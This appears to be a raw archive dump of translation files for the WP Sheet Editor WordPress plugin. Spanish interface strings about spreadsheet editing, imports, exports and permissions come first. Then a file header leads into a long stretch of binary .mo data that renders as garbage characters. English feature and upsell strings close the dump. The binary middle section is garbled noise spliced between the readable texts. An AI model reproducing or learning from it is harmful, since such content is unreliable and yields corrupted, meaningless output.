Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-de_DE.mo000064400000530204147600365160016636 0ustar00c4#LF]>]S]L^P"_rs___`3`L`\`M``G`.`%aM8aaanbBccdddYneeKuf:f'fp$ggDhbikjUk%llLl)mBm0nw@o2opqJs^s^ftt0uXuk:vwBy=zJ4{M{{|@}}~Ml;0@Ԃуq{Vx҅Kmj؆]/KkEU]"e$H (ɋ ۋ0 '7IM^q^UA_yЎ/(4,]VP:A=$/b=5Б%,GV gq:˒Ғ a,xΓ - BgMG .8Md ϖ Ԗޖ =N R]9pRq\Ě!ٝ`ɟɡ/1%8K T _irǥХ ץ"`izH˦ ܦ ) 2$>c 3J-&C jxa /O.X R.)6H`-ת&n,({ī@1P!1 ֬* 06B y"ǭܭ  >JO_,d ɮܮw{kŰ ̰װ 8 /0:0k-Rʱ  ( 4@(\" Ų#2 +=&i-3ܳ$@"I*l.Ƶ ٵ!7&@gw ƶܶ    +5 , MW h ȸwݸ U"_!#)Ѻ($F]2m  ׼ :1.`2i  ˽ֽ 5Ugv(HZe+ȿjhQXh% <JqB.U'(.p(qdCD_,G9WM01?7wG :"54R+d "* 2C> 6  &,1^m| ; )5LYa  }yWn@a & "/JRctGF ! ) 4 BPelWqo"@ _k(q++&&&@:g'%@ 8N?`BEnMbu#cj CMbaq6<# &9$P#uw{(XD3_x'67J Z eq x(:H 2 - 9 F Tb gr * :AYs@x&ZF7  ;)#e  %52 AKPSc|(q, A M,Z v+'5,ce^ i|!  .7T<Zb(#Cej+sW ## 4 ?Id    -&*9d   u0,,..Ap$ ,:$Bgs<[r  ,G>%" vvz ,< O \ i u        3!Gin +/5(=fw &"9 O%Z#dI`@(  (  2 "< _ <r :     +  = J Y k  "   ( $  3 ? S X j  & p ^;*<Nk| 1"/J485nty8*{QQ$\S?EWB1t9]/b,*!WyV$/{z&zD>xiwze$'" J%k 0!D@"!"6"-"A #^N#g#W$Wm$D$B %TM%+%3%='}@'')'b+@++Hs,L,/ -9-e.A0/Kr/A/0+00 000h1122C3 b3n33i4r4w44 44'44e5u5 555555 5*56"569X6966t6P^777 777 8. 8O8X88^88)888 88999 -9:9K9]9m9v9 ~9 9999999::6:JE:*:l:e(;U;i;QN<-<<=?`@@OAB~C=DDDD?E>G7@G>xG4GGHo I}III3I#I#I!J5=JsJ5J:J#K2(K4[KKKfLr MMa$NNJO3 QTRR`nTUVAW'DX%lXXfXX YY)Y"IYlYY!YYYYZZ/\(A\j\7y\\ \\\N\z]]6^T^)s^8^A^9_R_Ol_F_X`4\`3`8`.`1-a:_a3aBaYbukb]b?c5_cRcc$dd::egufefICgg%h +h8h;h'>h8fhhO jXpjjaklll%l%lm/mY3mZm9m"nYR8?N\=$ ,06<g  w8}Ϋ'8L ese5} ήڮ /KSn+}įۯfm t,@ Ͷ۸|ZlǽоVy    >Pi *g: Rh] #A S-a$   <^(E "@A =)gwmH 0TW1-Gru)1"8==N$9 ! 7/ g - ,2D.Ix }n# K*v>=:_=  +6"+-N(|771,Gt59Q&R y*#'(<G3  !7T r   2*  5 V!w U._   E45.2d1#\b<w H87C  *G#X|K,C_s;!6lX = 8rP86P-,61ZZz8(n6FFO`] +96pu@1e$  ^* BL dpX : P ]jo  G -:QhJ_uO\$;V` 38J\t|SV cs {  `#:)#@dv5~)+0 2;3nJ!)29IlBYoorL+w#    x         s  G !5 MYj-'{m "d9Ny2g?  /: MW!GG e p| %L 9 F T bp u2-6;N&V"+ HVg%m.3M \5M S `m+"     3H /GVwsn0 !d7Y7"79 8Z8p88=8#8 999.9(E9n99(99#9+9':D:nZ:Q:U;6q;; ; ;0;<L*<;w<<< <<= = +=9=J=g=1="==C=29>l> {>>>>/>>At0BBBBBCC+CCCYC'oCCCCCC C.C.DMDRDgDDQE<dEJEEEEEF6UFFGnCHHkH;JgJV%Kg|KXK=LCWM3MoM*?N*jNNgO4OP-PPRpQQSR?U!UV+V(V1V.*WYWMW==YU{Z.Z;[,<[Xi[[F\v\@]P]W^tj^(^g_>p``K?ac*eHefXfa'g6gg|i=/jOmjMj k)kk klllem3n9no 8oEo%Yopppppp;p qqqqqrr.rLr\r?prr-rDr?>s)~ssd0ttttt%tu8&u _uluFuuu-uu v v*v 1&9+DeOC)>]h[ƥU"DxGE<KENΧBW`m&k'"DJa2իtxtob_Ү2 $V-zo4KN.uGXF`]%p;8M )xxB%AJG^c Db VgxhX@V 8CUVX!R/#'-f`d:z- d^OO 5is+% %|D1j#{PZy9Z<GhFW3LDm<QX*+Mz-MwJZ1~}=,>G =$qC?1D{nPa(`6[t4)oQ^TKGe? ),6 `7R3?|b#T;rS]4_VN~mI_\ 2NbI(,'0sMUA-:}=e+9U/F;E5 /aET-`;fgc=[Pf@cCv&r~!|eLtjVmK7P5 .sP HC) ?YJ(a8y2LFc0<_*Ykv?\4Q<9JlS J6 .0 "T*cE3k:Y \dK7@k68( [r4}\W ZfN2'Z"[uio 3rw[2<&.I"9Qa LQu5$N&TR|1'"k]t^] w8ICy@H p{t/SDp9{qUB_n(bUg hxY"3Os'lAOg}FY0oOmE+Sd$,hvy:#u/5LIj6 2S*WRe\al)z,>q1WbH!7*>H]BH+R$:AAwM~_;$j@>>i=i!ln  0%Bvn& !WqBp^K.XE&#7 (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%d of %d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically--. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...0 rows1. Open Google Sheets.
                  2. Click on "wp sheet editor" in the menu
                  3. Enter this link in the "quick access" option in the Google Sheet sidebar.1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreView the entire changelogEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

